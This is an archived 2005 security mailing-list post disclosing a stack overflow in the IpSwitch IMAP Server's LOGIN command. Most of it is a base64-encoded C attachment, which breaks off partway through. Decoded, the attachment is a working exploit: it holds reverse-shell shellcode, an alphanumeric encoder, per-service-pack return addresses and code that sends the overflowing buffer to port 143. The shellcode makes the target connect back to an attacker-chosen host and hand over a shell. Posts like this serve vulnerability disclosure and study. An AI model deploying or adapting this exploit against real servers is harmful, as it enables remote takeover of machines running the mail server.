IpSwitch IMAP Server LOGON stack overflow
To: <vulnwatch@vulnwatch.org.>, <bugtraq@securityfocus.com.>,
From: <nolimit@coreiso.org.>
Subject: IpSwitch IMAP Server LOGON stack overflow
Date: Tue, 7 Jun 2005 18:24:04 -0400
Message-ID: <EA88E26338E9437E954706D3D6054910.MAI@moststable.com.>
X-Mailer: MailEnable Web Mail 1.1
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="--=_NextPart_000_000B_6E23A351.157640CA"
X-Read: 0
X-Priority: 3
X-MSMail-Priority: Medium
X-Virus-Scanned: antivirus-gw at tyumen.ru
This is a multi-part message in MIME format.
----=_NextPart_000_000B_6E23A351.157640CA
Content-type: text/plain; charset="ISO-8859-1"
Hello, attached is a proof of concept for the IpSwitch IMAP Server LOGON stack overflow
nolimit
----=_NextPart_000_000B_6E23A351.157640CA
Content-Type: application/binary;
Name="ipswitch.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
FileName="ipswitch.c"
LyogDQpJcFN3aXRjaCBJTUFQIFNlcnZlciBMT0dPTiBzdGFjayBvdmVyZmxvdy4NClNvZnR3YXJl
IEhvbGUgZGlzY292ZXJlZCBieSBpREVGRU5TRQ0KUE9DIHdyaXR0ZW4gYnkgbm9saW1pdCBhbmQg
QnV6ekRlZSANCg0KRmlyc3QsIHNvbWUgaW5mb3JtYXRpb24gZm9yIHRoZSBmZXcgb2YgeW91IHRo
YXQga25vdyBob3cgdGhpcyBzdHVmZiB3b3Jrcy4NClRoZSByZWFzb24geW91IHNlZSBubyBTUDIg
b3IgMjAwMyBvZmZzZXRzIGlzIGJlY2F1c2Ugb2YgV2luZG93cyBTRUggY2hlY2tzLiANClRoYXRz
IHJpZ2h0LCBpbiB0aGlzIG9uZSBzaXR1YXRpb24sIFRoZXkndmUgc3RvcHBlZCBoYWNrZXJzIGZy
b20gZXhwbG9pdGluZyB0aGUgbWFjaGluZS4gDQpBdCBsZWFzdCB3aXRoIGFzIG11Y2ggcmVzZWFy
Y2ggYXMgSSBjYXJlIHRvIGRvLiBUaGUgcHJvYmxlbSBsaWVzIGluIHRoZQ0KZmFjdCB0aGF0IG9u
bHkgYWxwaGEgbnVtZXJpYyBtZW1vcnkgYWRkcmVzc2VzIGNhbiBiZSB1c2VkIGluIHRoaXMgZXhw
bG9pdC4NClNvIHdoYXQgbGllcyB3aXRoaW4gdGhlIGZldyByZWdpb25zIG9mIG1lbW9yeSB0aGF0
IGlzIGFscGhhIG51bWVyaWMgc2FmZT8gT25seSBzeXN0ZW0NCkRMTHMuKFdlbGwgYWxzbyBhIDcw
MDAgYnl0ZSBURUIgYmxvY2sgc2VjdGlvbiwgd2hpY2ggZG9lc24ndCByZWFsbHkgcHJvZHVjZSBt
dWNoIGVpdGhlcikuDQpTbyBhbnkgU0VIIGFkZHJlc3Mgb3ZlcndyaXR0ZW4gdGhhdCBwb2ludHMg
dG8gYSBzeXN0ZW0gRExMICB3aWxsIGZhaWwgcGFzdCBXaW5kb3dzIFhQIFNQMi4NCkZyb20gd2hh
dCBJJ3ZlIHJlYWQgYW5kIHRoZSBmZXcgdHJpY2tzIEkndmUgdHJpZWQsIFRoZWlycyBubyB3YXkg
Y3VycmVudGx5IHRvIGdldCBhcm91bmQgdGhlDQpwcm90ZWN0aW9uIEluIG15IHNpdHVhdGlvbi4g
DQoNCkZvciB0aGUgc2hhcnAgb25lcywgeW91J3ZlIG1heWJlIG5vdGljZWQgdGhhdCBYUCBTUDEg
aXNuJ3QgYW4gb2Zmc2V0LiBUaGlzIGlzIGJlY2F1c2UgDQpvZiB0d28gcmVhc29ucywgV2hpbGUg
SSd2ZSBkZXZlbG9wZWQgYWxvbmcgd2l0aCBza3lsaW5lZCBhbiBhbHBoYSBudW1lcmljIHNoZWxs
Y29kZQ0KdG8gaGFuZGxlIHRoZSBzdGFjayBwcm90ZWN0aW9ucyBpbiBXaW5kb3dzIFhQLzJLMywg
SSBkb24ndCB0aGluayBoZSdzIHJlYWR5IHRvIHJlbGVhc2UNCml0IHlldC5Tbywgd2hlbiBJdCBk
b2VzIGNvbWUgYXJvdW5kLCB5b3UgY2FuIHVzZSB0aGF0IGFuZCByZS1hZGp1c3QgdGhlIHN0YWNr
IGFjY29yZGluZ2x5DQpmb3IgcHJvcGVyIGV4cGxvaXRhdGlvbiBvZiBTUDEuIA0KDQpUaGUgc2l6
ZSB3ZSBoYXZlIG9uIHRoZSBzdGFjayBpcyB0b28gc21hbGwgZm9yIGEgYmluZHNoZWxsLCBidXQg
YmlnIGVub3VnaCBmb3IgYSByZXZlcnNlIHNoZWxsIQ0KU28gSSB1c2UgQUxQSEEyJ3MgZGVjb2Rl
ciBhbmQgZW5jb2RlciAobW9kaWZpZWQpIHRvIHdyaXRlIGluZm8gdG8gcmV2ZXJzZSBzaGVsbCwg
dGhlbiBlbmNvZGUgaXQuDQp2aXNpdCBodHRwOi8vd3d3LmVkdXAudHVkZWxmdC5ubC9+Ymp3ZXZl
ci9kb2N1bWVudGF0aW9uX2FscGhhMi5odG1sLnBocCBmb3IgbW9yZSBpbmZvcm1hdGlvbi4NCg0K
Tm93LCBmb3IgdGhlICJpbXBhY3QgYXNzZXNzbWVudCIuDQpCZWNhdXNlIHRoaXMgZG9lc24ndCB3
b3JrIG9uIFNQMiAvIDIwMDMsIHRoZSA1MyBtaWxsaW9uIHVzZXJzIHRoYXQgdXNlIEltYWlsIHNo
b3VsZA0KbW9zdGx5IGJlIHNhZmUgZnJvbSBjb21wbGV0ZSBvd25hZ2UuIEJ1dCwgRG8gbm90IGxl
dCB0aGlzIGZhY3QgbGV0IHlvdSBub3QgcGF0Y2ggeW91cg0Kc2VydmVyISBUaGlzIGV4cGxvaXQs
IHNlbnQgd2l0aCBhbnkgb2Zmc2V0LCB3aWxsIHN0aWxsIGNyYXNoIHlvdXIgSU1BUCBzZXJ2ZXIh
DQpXaXRoIHRoYXQgc2FpZCwgVGhpZXIgaXMgc3RpbGwgYSBzbWFsbCBhbW91bnQgb2Ygc2VydmVy
cyBvbmxpbmUgdGhhdCBydW4gb25lIG9mIHRoZXNlDQp0YXJnZXR0ZWQgb2Zmc2V0cywgYW5kIHRo
ZXJlZm9yZSBjYW4gYmUgZXhwbG9pdGVkLiBJIGhvcGUgdGhpcyBQcm9vZiBPZiBDb25jZXB0IGlz
IHRoZQ0KcHVzaCBhZG1pbmlzdHJhdG9ycyBuZWVkIHRvIHBhdGNoIHRoZWlyIHNvZnR3YXJlLg0K
DQpGb3IgRGEgU2tpZGRpZXM6IHRoaXMgZXhwbG9pdCBpcyB0ZWggb3d3IGtheS4gSSBnMHQgYSBm
M3cgc2hlbGxzMHJzLg0KDQogIEM6XEhBQ0tJTkdcdG9vbHM+bmMgLXZ2IC1sIC1wIDMzMzMNCgls
aXN0ZW5pbmcgb24gW2FueV0gMzMzMyAuLi4NCglETlMgZndkL3JldiBtaXNtYXRjaDogMmt2bSAh
PSAya3ZtLmxhdW5jaG1vZGVtLmNvbQ0KCWNvbm5lY3QgdG8gWzE5Mi4xNjguMS45NV0gZnJvbSAy
a3ZtIFsxOTIuMTY4LjEuOTNdIDEwNzgNCglNaWNyb3NvZnQgV2luZG93cyAyMDAwIFtWZXJzaW9u
IDUuMDAuMjE5NV0NCgkoQykgQ29weXJpZ2h0IDE5ODUtMjAwMCBNaWNyb3NvZnQgQ29ycC4NCgkN
CglDOlxXSU5OVFxzeXN0ZW0zMj5fDQoNClF1ZXN0aW9ucz8gQ29tbWVudHM/ICANCiAgbm9saW1p
dEBjb3JlaXNvLm9yZw0KICANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtICAtIC0t
LS4NCiAgICAgICAgICAgICAuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS4gfCAgICAgICAgICAgICAg
ICAgICAgICC3DQogICAgICAgICAgICAgfCA6Ojo6Ojo6OjonJycnJzo6Ojo6OiB8ICEgICAgICAg
ICAgICAgICAgICAgtyAvDQogICAgICAgICAgICAgbCAgJycnJycgICAgICAgICAgICcnOiB8IGAg
ICAgICAgICAgICAgICAgICAvXy8NCiAgICAgLi0tLSAtLbdYty0tLS0tLS0tLS0tIC0tIC0gIC0g
IHwgLSBjIG8gciBlIGkgcyBvICAgX18gXCAgtyAgIC0gIC0gLS0tLg0KICAgICB8ICAgICAgICEg
ICAgICAgICAgICAgICAgICAgICAgOiAgICAgICAgICAgICAgICAgIC9fL1wgXC8gICAgICAgICAg
ICB8DQogICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBfXCBcIFwgICAgICAgICAgICAgIHwNCiAgUyEgL1xfX19fICB8ICBfIF9fX19fXy9cIF9fIF9f
X19fXy9cIF9fIF9fX19fXy9cICAgLyAvXF9cLyBfX19fX19fIC9cX19fX19fDQogICBfLyAgICBf
L19fX19fXCAgICBfICAgIFxfXyAgICBfICAgIFxfXyAgICBfICAgIFxfLyAvICBcIF8vICBfX19f
Ly8gICBfICAgIFxfDQogIC8vICAgIC8gICAgIF8gICAgICAvICAgICAvICAgIF8vICAgICAvICAg
ICAvICAgICAvIC8gICAvIFxfX19fXyAgICAgIHwvICAgICAvDQpfLyAgICAgLyAgICAgIC8gICAg
IC8gICAgXy8gICAgIFwgICAgXy9cICAgIF9fX19fXy9cLyAgIC86ICAgICB8LyAgICAgIC8gICAg
IC98DQpcIF9fX19fX19fX19fL1wgX19fX19fX19fXCBfX19fX3xcX19fX19fXCBfX19fX19fX19f
XCAgL3x8ICAgICBfX19fX19fX19fX19fX198DQogXC8gIC4gICAgICAgLiBcLyAgICAgICAgIFwv
ICAgICAgICAuICAgIFwvICAgICAvXy8gICAvIHxfX19fX19cICAgICAgICAgIC4NCiAgICAgfCAg
ICAgICB8ICAgICAgICAgICAgICAgICAgICAgIC4gICAgICAgICAgX1wgXCAgLyAgICAgICAgICAg
ICAgICAgICAgfA0KICAgICB8ICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgbCAgICAgICAg
IC9fL1xfXC8gICAgICAgICAgICAgICAgICAgICB8DQogICAgIGAtLS0tLS0gfCAtLS0tLS0tIC0t
IC0gICAtIC0tLbdYty0tIC0gIC1fXCBcIFwgICAgICAgLSAgIC0gIC0gLS0gLS0tLScNCiAgICAg
ICAgICAgLiB8IDouICAgICAgICAgICAgLi4uLi4gICEuICAgICAgLyAvXF9cLw0KICAgICAgICAg
ICA6IHwgOjo6OjouLi4uLi46Ojo6Ojo6OjogfDogICAgIC8gLy4gXA0KICAgICAgICAgICB8IGAt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tJ3wgICAgL18vLyAgLyAgICB3d3cuY29yZWlzby5vcmcNCiAg
ICAgICAgICAgYC0tLSAtICAtICAgICAgICAgICAgICAgICB8ICAgIFwgXCAgLyAgICAgSW5ub3Zh
dGlvbiwgbm90IGltaXRhdGlvbi4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLSAgLSAt
LS0nICAgICBcX1wvDQoNCiovDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzdHJpbmcu
aD4NCiNpbmNsdWRlIDx3aW5zb2NrLmg+DQojcHJhZ21hIGNvbW1lbnQobGliLCJ3czJfMzIiKQ0K
DQp2b2lkIGNtZHNoZWxsIChpbnQgc29jayk7DQpsb25nIGdpbW1laXAoY2hhciAqaG9zdG5hbWUp
Ow0KY2hhciBidWZmZXJbMjUwMF07DQoNCi8vc3BlY2lhbCBzdHVmZg0KY2hhciogYWxwaGFFbmNv
ZGVTaGVsbGNvZGUoY2hhciAqc2hlbGxjb2RlLCBpbnQgc2l6ZSk7DQovLyB1bi1jcnlwdGVkIHNo
ZWxsY29kZSB0aGF0IHdlJ2xsIGZpbGwgb3VyIHJldG4gdmFsdWVzLCB0aGVuIGVuY29kZS4NCmNo
YXIgdW5FbmNTaGVsbGNvZGVbXT0NCiJceGZjXHg2YVx4ZWJceDRkXHhlOFx4ZjlceGZmXHhmZlx4
ZmZceDYwXHg4Ylx4NmNceDI0XHgyNFx4OGJceDQ1Ig0KIlx4M2NceDhiXHg3Y1x4MDVceDc4XHgw
MVx4ZWZceDhiXHg0Zlx4MThceDhiXHg1Zlx4MjBceDAxXHhlYlx4NDkiDQoiXHg4Ylx4MzRceDhi
XHgwMVx4ZWVceDMxXHhjMFx4OTlceGFjXHg4NFx4YzBceDc0XHgwN1x4YzFceGNhXHgwZCINCiJc
eDAxXHhjMlx4ZWJceGY0XHgzYlx4NTRceDI0XHgyOFx4NzVceGU1XHg4Ylx4NWZceDI0XHgwMVx4
ZWJceDY2Ig0KIlx4OGJceDBjXHg0Ylx4OGJceDVmXHgxY1x4MDFceGViXHgwM1x4MmNceDhiXHg4
OVx4NmNceDI0XHgxY1x4NjEiDQoiXHhjM1x4MzFceGRiXHg2NFx4OGJceDQzXHgzMFx4OGJceDQw
XHgwY1x4OGJceDcwXHgxY1x4YWRceDhiXHg0MCINCiJceDA4XHg1ZVx4NjhceDhlXHg0ZVx4MGVc
eGVjXHg1MFx4ZmZceGQ2XHg2Nlx4NTNceDY2XHg2OFx4MzNceDMyIg0KIlx4NjhceDc3XHg3M1x4
MzJceDVmXHg1NFx4ZmZceGQwXHg2OFx4Y2JceGVkXHhmY1x4M2JceDUwXHhmZlx4ZDYiDQoiXHg1
Zlx4ODlceGU1XHg2Nlx4ODFceGVkXHgwOFx4MDJceDU1XHg2YVx4MDJceGZmXHhkMFx4NjhceGQ5
XHgwOSINCiJceGY1XHhhZFx4NTdceGZmXHhkNlx4NTNceDUzXHg1M1x4NTNceDQzXHg1M1x4NDNc
eDUzXHhmZlx4ZDBceDY4Ig0KLy8xNjAgYWJvdmUsIGlwIG5leHQgNCBieXRlcyB0aGVuLCBwYXNz
IDIgdGhlcmVzIHBvcnQNCiJceDY0XHg2NFx4NjRceDY0XHg2Nlx4NjhceDBkXHgwNVx4NjZceDUz
XHg4OVx4ZTFceDk1XHg2OFx4ZWNceGY5Ig0KIlx4YWFceDYwXHg1N1x4ZmZceGQ2XHg2YVx4MTBc
eDUxXHg1NVx4ZmZceGQwXHg2Nlx4NmFceDY0XHg2Nlx4NjgiDQoiXHg2M1x4NmRceDZhXHg1MFx4
NTlceDI5XHhjY1x4ODlceGU3XHg2YVx4NDRceDg5XHhlMlx4MzFceGMwXHhmMyINCiJceGFhXHg5
NVx4ODlceGZkXHhmZVx4NDJceDJkXHhmZVx4NDJceDJjXHg4ZFx4N2FceDM4XHhhYlx4YWJceGFi
Ig0KIlx4NjhceDcyXHhmZVx4YjNceDE2XHhmZlx4NzVceDI4XHhmZlx4ZDZceDViXHg1N1x4NTJc
eDUxXHg1MVx4NTEiDQoiXHg2YVx4MDFceDUxXHg1MVx4NTVceDUxXHhmZlx4ZDBceDY4XHhhZFx4
ZDlceDA1XHhjZVx4NTNceGZmXHhkNiINCiJceDZhXHhmZlx4ZmZceDM3XHhmZlx4ZDBceDY4XHhl
N1x4NzlceGM2XHg3OVx4ZmZceDc1XHgwNFx4ZmZceGQ2Ig0KIlx4ZmZceDc3XHhmY1x4ZmZceGQw
XHg2OFx4ZWZceGNlXHhlMFx4NjBceDUzXHhmZlx4ZDZceGZmXHhkMCI7DQoNCi8vbW9kaWZpZWQg
ZW5jb2RlZCBhbHBoYSBudW0gU1VCIEVDWCwgMkU4IEpNUCBFQ1gNCmNoYXIgam1wQmFja1tdPQ0K
IlZUWDYzMFZYSDQ5SEhIUGhZQUFRaFpZWVlZQUFRUURERGQzNkZGRkZUWFZqMFBQVFVQUGEzMDEw
ODkiDQoiSUlJSUlJSUlJSUlJSUlJSUk3UVpqQVhQMEEwQWtBQVEyQUIyQkIwQkJBQlhQOEFCdUpJ
b3FZeUtIVEIzMFdweW9LUUFQQSI7DQppbnQgcGFkZGluZ1NpemU7IC8vIGNoYW5nZSB3aGVuIGNo
YW5naW5nIHNoZWxsY29kZS4gNjc2IGJ5dGVzIC0gc2hlbGxjb2Rlc2l6ZSA9IHRoaXMuDQpjaGFy
IGptcDJLU1A0W10gPSAiXHg0MFx4NDNceDQ0XHg3OCI7IC8vSk1QIEVCWCAyMDAwIFNQNCBURVNU
RUQNCmNoYXIgam1wMktTUDNbXSA9ICJceDQwXHgyM1x4NDRceDc4IjsgLy9KTVAgRUJYIDIwMDAg
U1AzDQpjaGFyIGptcDJLU1AyW10gPSAiXHg0MFx4MjFceDQ2XHg3OCI7IC8vSk1QIEVCWCAyMDAw
IFNQMg0KY2hhciBqbXAyS1NQMVtdID0gIlx4NjJceDU0XHgzMFx4NzciOyAvL1BPUCBQT1AgUkVU
TiAyMDAwIFNQMSAobm8gam1wIGVieCkNCmNoYXIgam1wMktTUDBbXSA9ICJceDZDXHgzMFx4NkJc
eDc3IjsgLy9KTVAgRUJYIDIwMDAgU1AwDQpjaGFyIGptcFhQU1AwW10gPSAiXHg2M1x4NEZceDYw
XHg3NyI7IC8vSk1QIEVCWCBXaW5YUCBTUDAgbm8gU0VIIFhPUiBwcm90IHNvIEpNUCBFQlggaXMg
b2sNCg0KaW50IG1haW4oaW50IGFyZ2MsY2hhciAqYXJndltdKQ0KeyAgICAgDQoJCVdTQURBVEEg
d3NhRGF0YTsNCgkJc3RydWN0IHNvY2thZGRyX2luIHRhcmdldFRDUDsNCgkJaW50IHNvY2tUQ1A7
DQoJCXVuc2lnbmVkIHNob3J0IHBvcnQgPSAxNDM7DQoJCWxvbmcgaXA7DQoJCWlmKGFyZ2MgPCA1
KQ0KCQl7DQoJCQlwcmludGYoIklwU3dpdGNoIElNQVAgc2VydmVyIFJlbW90ZSBTdGFjayBPdmVy
Zmxvdy5cbiINCgkJCQkiVGhpcyBleHBsb2l0IHVzZXMgYSByZXZlcnNlIHNoZWxsIHBheWxvYWQu
XG4iDQoJCQkJIlVzYWdlOiAlcyBbcmV0bmFkZHJdIFtyZXRwb3J0XSBbdGFyZ2V0XSBbYWRkcmVz
c10gPHBvcnRfdG9fZXhwbG9pdD5cbiINCgkJCQkiIGVnOiAlcyAxOTIuMTY4LjEuOTQgMTU2NCAy
IDE5Mi4xNjguMS45NVxuIg0KCQkJCSJUYXJnZXRzOlxuIg0KCQkJCSIxLiBXaW5kb3dzIFhQIFNQ
IDAuXG4yLiBXaW5kb3dzIDIwMDAgU1A0XG4zLiBXaW5kb3dzIDIwMDAgU1AzXG4iDQoJCQkJIjQu
IFdpbmRvd3MgMjAwMCBTUDJcbjUuIFdpbmRvd3MgMjAwMCBTUDFcbjYuIFdpbmRvd3MgMjAwMCBT
UDBcbiINCgkJCQkiUmVhZCBjb21tZW50cyBpbiBzb3VyY2UgY29kZSBmb3IgbW9yZSBpbmZvLlxu
Ig0KCQkJCSJDb2RlZCBieSBub2xpbWl0QENpU08gYW5kIEJ1enpEZWUuXG4iLGFyZ3ZbMF0sYXJn
dlswXSk7DQoJCQlyZXR1cm4gMTsJCQkNCgkJfQkJDQoJCWlmKGFyZ2M9PTYpDQoJCQlwb3J0ID0g
YXRvaShhcmd2WzVdKTsJCQkJCQ0KICAgICAgICAJV1NBU3RhcnR1cCgweDAyMDIsICZ3c2FEYXRh
KTsJCQkJDQoJCXByaW50ZigiWypdIFRhcmdldDpcdCVzIFx0UG9ydDogJWRcblxuIixhcmd2WzRd
LHBvcnQpOw0KCQlpcD1naW1tZWlwKGFyZ3ZbNF0pOwkNCiAgICAgICAgCXRhcmdldFRDUC5zaW5f
ZmFtaWx5ID0gQUZfSU5FVDsNCiAgICAgICAgCXRhcmdldFRDUC5zaW5fYWRkci5zX2FkZHIgPSBp
cDsNCiAgICAgICAgCXRhcmdldFRDUC5zaW5fcG9ydCA9IGh0b25zKHBvcnQpOw0KCQkvL3NldCBp
cC9wb3J0IHNwZWNpZmllZC4gUHJvYmFibHkgY291bGQgaGF2ZSBkb25lIHRoaXMgZWFzaWVyLCBi
dXQgd2hhdGV2ZXIuDQoJCXVuc2lnbmVkIGxvbmcgcmV2SXAgPSBnaW1tZWlwKGFyZ3ZbMV0pOw0K
CQl1bnNpZ25lZCBsb25nICpyZXZQdHIgPSAodW5zaWduZWQgbG9uZyAqKSZ1bkVuY1NoZWxsY29k
ZTsNCgkJcmV2UHRyID0gcmV2UHRyICsgKDE2MC80KTsgLy9nbyB0byBpcCBwbGFjZSwgaXQgYWRk
cyBieSA0LCBhbmQgaXQncyAxNjAgYnl0ZXMgYXdheS4NCgkJKnJldlB0ciA9IHJldklwOw0KCQlj
aGFyICpwb3J0UHRyID0gKGNoYXIgKilyZXZQdHIgKyA2OyAvL3B0ciArIDIgYnl0ZXMgcGFzdA0K
CQlpbnQgclBvcnQgPSBhdG9pKGFyZ3ZbMl0pOw0KCQljaGFyICpyZXZQb3J0UHRyID0gKGNoYXIg
KikmclBvcnQ7DQoJCW1lbWNweShwb3J0UHRyLHJldlBvcnRQdHIrMSwxKTsNCgkJbWVtY3B5KHBv
cnRQdHIrMSxyZXZQb3J0UHRyLDEpOw0KCQkvL2RvbmUgZm9ybWF0dGluZywgbm93IGxldHMgZW5j
b2RlIGl0Lg0KCQljaGFyICpzaGVsbGNvZGUgPSBhbHBoYUVuY29kZVNoZWxsY29kZSh1bkVuY1No
ZWxsY29kZSxzaXplb2YodW5FbmNTaGVsbGNvZGUpKTsNCgkJcGFkZGluZ1NpemUgPSA2NzYgLSBz
dHJsZW4oc2hlbGxjb2RlKTsNCgkJLy9mb3JtIGJ1ZmZlciBoZXJlLg0KCQltZW1zZXQoYnVmZmVy
LCdceDAwJywyNTAwKTsNCgkJc3RyY3B5KGJ1ZmZlciwiQTAwMSBMT0dJTiB1c2VyQCIpOw0KCQlt
ZW1zZXQoYnVmZmVyKzE2LCdceDQxJyxwYWRkaW5nU2l6ZSk7IC8vSU5DIEVDWCBub3BzbGlkZQ0K
CQlzdHJjYXQoYnVmZmVyLHNoZWxsY29kZSk7DQoJCXN0cmNhdChidWZmZXIsInIhcyEiKTsgLy9q
bXAgb3ZlciBTRSBoYW5kbGVyDQoJCXN3aXRjaChhdG9pKGFyZ3ZbM10pKQ0KCQl7DQoJCQljYXNl
IDE6DQoJCQlwcmludGYoIlsqXSBUYXJnZXR0aW5nIFdpbmRvd3MgWFAgU1AgMC4uXG4iKTsNCgkJ
CXN0cmNhdChidWZmZXIsam1wWFBTUDApOw0KCQkJYnJlYWs7DQoJCQljYXNlIDI6DQoJCQlwcmlu
dGYoIlsqXSBUYXJnZXR0aW5nIFdpbmRvd3MgMjAwMCBTUDQuLlxuIik7DQoJCQlzdHJjYXQoYnVm
ZmVyLGptcDJLU1A0KTsNCgkJCWJyZWFrOw0KCQkJY2FzZSAzOg0KCQkJcHJpbnRmKCJbKl0gVGFy
Z2V0dGluZyBXaW5kb3dzIDIwMDAgU1AzLi5cbiIpOw0KCQkJc3RyY2F0KGJ1ZmZlcixqbXAyS1NQ
Myk7DQoJCQlicmVhazsNCgkJCWNhc2UgNDoNCgkJCXByaW50ZigiWypdIFRhcmdldHRpbmcgV2lu
ZG93cyAyMDAwIFNQMi4uXG4iKTsNCgkJCXN0cmNhdChidWZmZXIsam1wMktTUDIpOw0KCQkJYnJl
YWs7DQoJCQljYXNlIDU6DQoJCQlwcmludGYoIlsqXSBUYXJnZXR0aW5nIFdpbmRvd3MgMjAwMCBT
UDEuLlxuIik7DQoJCQlzdHJjYXQoYnVmZmVyLGptcDJLU1AxKTsNCgkJCWJyZWFrOw0KCQkJY2Fz
ZSA2Og0KCQkJcHJpbnRmKCJbKl0gVGFyZ2V0dGluZyBXaW5kb3dzIDIwMDAgU1AwLi5cbiIpOw0K
CQkJc3RyY2F0KGJ1ZmZlcixqbXAyS1NQMCk7DQoJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQoJCQlw
cmludGYoIlRhcmdldCBlcnJvci5cbiIpOw0KCQkJcmV0dXJuIDE7DQoJCQlicmVhazsNCgkJfQ0K
CQltZW1zZXQoYnVmZmVyK3N0cmxlbihidWZmZXIpLCdceDQxJywyOSk7DQoJCXN0cmNhdChidWZm
ZXIsam1wQmFjayk7IC8vZGVjb2RlcyB0byBqbXAgYmFjayB0byB0b3AgcGFydCBvZiBidWZmZXIN
CgkJbWVtc2V0KGJ1ZmZlcitzdHJsZW4oYnVmZmVyKSwnXHg0MScsMTMyMyk7DQoJCXN0cmNhdChi
dWZmZXIsIiBub2xpbWl0c1xyXG4iKTsNCgkJLy9idWZmZXIgZm9ybWVkDQoJCWlmICgoc29ja1RD
UCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCkpID09IC0xKQ0KCQl7DQoJCQkJcHJp
bnRmKCJbeF0gU29ja2V0IG5vdCBpbml0aWFsaXplZCEgRXhpdGluZy4uLlxuIik7DQoJCQkJV1NB
Q2xlYW51cCgpOw0KICAgICAgICAgICAgICAgIHJldHVybiAxOw0KCQl9DQoJCXByaW50ZigiWypd
IFNvY2tldCBpbml0aWFsaXplZC4uLlxuIik7CQkJCQkNCgkJaWYoY29ubmVjdChzb2NrVENQLChz
dHJ1Y3Qgc29ja2FkZHIgKikmdGFyZ2V0VENQLCBzaXplb2YodGFyZ2V0VENQKSkgIT0gMCkNCgkJ
ew0KCQkJcHJpbnRmKCJbKl0gQ29ubmVjdGlvbiB0byBob3N0IGZhaWxlZCEgRXhpdGluZy4uLlxu
Iik7DQoJCQlXU0FDbGVhbnVwKCk7DQoJCQlleGl0KDEpOw0KCQl9IAkJDQoJCXByaW50ZigiWypd
IFNlbmRpbmcgIGJ1ZmZlci5cbiIpOw0KCQlTbGVlcCgxMDAwKTsNCgkJaWYgKHNlbmQoc29ja1RD
UCwgYnVmZmVyLCBzdHJsZW4oYnVmZmVyKSwwKSA9PSAtMSkNCgkJew0KCQkJCXByaW50ZigiW3hd
IEZhaWxlZCB0byBpbmplY3QgcGFja2V0ISBFeGl0aW5nLi4uXG4iKTsNCgkJCQlXU0FDbGVhbnVw
KCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIDE7DQoJCX0NCgkJU2xlZXAoMTAwMCk7DQoJCWNs
b3Nlc29ja2V0KHNvY2tUQ1ApOw0KCQlXU0FDbGVhbnVwKCk7DQoJCXByaW50ZigiRXhwbG9pdCBz
ZW50LiBSZXZlcnNlIFNoZWxsIHNob3VsZCBiZSBjb21taW5nIGlmIGV2ZXJ5aGluZyB3b3JrZWQu
XG4iKTsNCgkJcmV0dXJuIDA7DQp9DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQpsb25n
IGdpbW1laXAoY2hhciAqaG9zdG5hbWUpIA0Kew0KCXN0cnVjdCBob3N0ZW50ICpoZTsNCglsb25n
IGlwYWRkcjsNCgkNCglpZiAoKGlwYWRkciA9IGluZXRfYWRkcihob3N0bmFtZSkpIDwgMCkgDQoJ
ew0KCQlpZiAoKGhlID0gZ2V0aG9zdGJ5bmFtZShob3N0bmFtZSkpID09IE5VTEwpIA0KCQl7DQoJ
CQlwcmludGYoIlt4XSBGYWlsZWQgdG8gcmVzb2x2ZSBob3N0OiAlcyEgRXhpdGluZy4uLlxuXG4i
LGhvc3RuYW1lKTsNCgkJCVdTQUNsZWFudXAoKTsNCgkJCWV4aXQoMSk7DQoJCX0NCgkJbWVtY3B5
KCZpcGFkZHIsIGhlLT5oX2FkZHIsIGhlLT5oX2xlbmd0aCk7DQoJfQkNCglyZXR1cm4gaXBhZGRy
Ow0KfQ0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCg0KLy9CZWxvdyBoZXJlLCBhbGwgY29k
ZSBpcyBtb2RpZmllZCBjb2RlIGZyb20gQUxQSEEgMjogWmVyby10b2xlcmFuY2UgYnkgQmVyZW5k
LUphbiBXZXZlci4NCi8vICBha2EgU2t5bGluZWQgIDxza3lsaW5lZEBlZHVwLnR1ZGVsZnQubmw+
LiBIYXRzIG9mZiB0byBoaW0uDQoNCi8vZWN4IGFzY2lpIGRlY29kZXIuDQojZGVmaW5lIGVjeF9t
aXhlZGNhc2VfYXNjaWlfZGVjb2RlcgkiSUlJSUlJSUlJSUlJSUlJSUk3UVpqQVhQMEEwQWtBQVEy
QUIyQkIwQkJBQlhQOEFCdUpJIg0KLy8gc2hlbGxjb2RlIHB0ciAmIHNpemUNCmNoYXIqIGFscGhh
RW5jb2RlU2hlbGxjb2RlKGNoYXIgKnNoZWxsY29kZSwgaW50IHNpemUpDQp7DQoJaW50ICAgaSwg
aW5wdXQsIEEsIEIsIEMsIEQsIEUsIEY7DQoJY2hhciogdmFsaWRfY2hhcnM9IjAxMjM0NTY3ODlC
Q0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoiOw0KCS8v
Zmlyc3QsIGNyZWF0ZSBhIGJpZyBlbm91Z2ggc2hlbGxjb2RlIG1lbW9yeSBzZWN0aW9uDQoJY2hh
ciAqZW5jU2hlbGxjb2RlID0gKGNoYXIgKikgbWFsbG9jKHNpemVvZigoZWN4X21peGVkY2FzZV9h
c2NpaV9kZWNvZGVyKSArIChzaXplICogMikpKTsNCglzdHJjcHkoZW5jU2hlbGxjb2RlLGVjeF9t
aXhlZGNhc2VfYXNjaWlfZGVjb2Rlcik7DQoJY2hhciBidWZmWzRdOw0KCWludCB6PTA7DQoJZm9y
KDt6IDwgc2l6ZTt6KyspDQoJew0KCQkgLy8gZW5jb2RpbmcgQUIgLT4gQ0QgMDAgRUYgMDANCgkJ
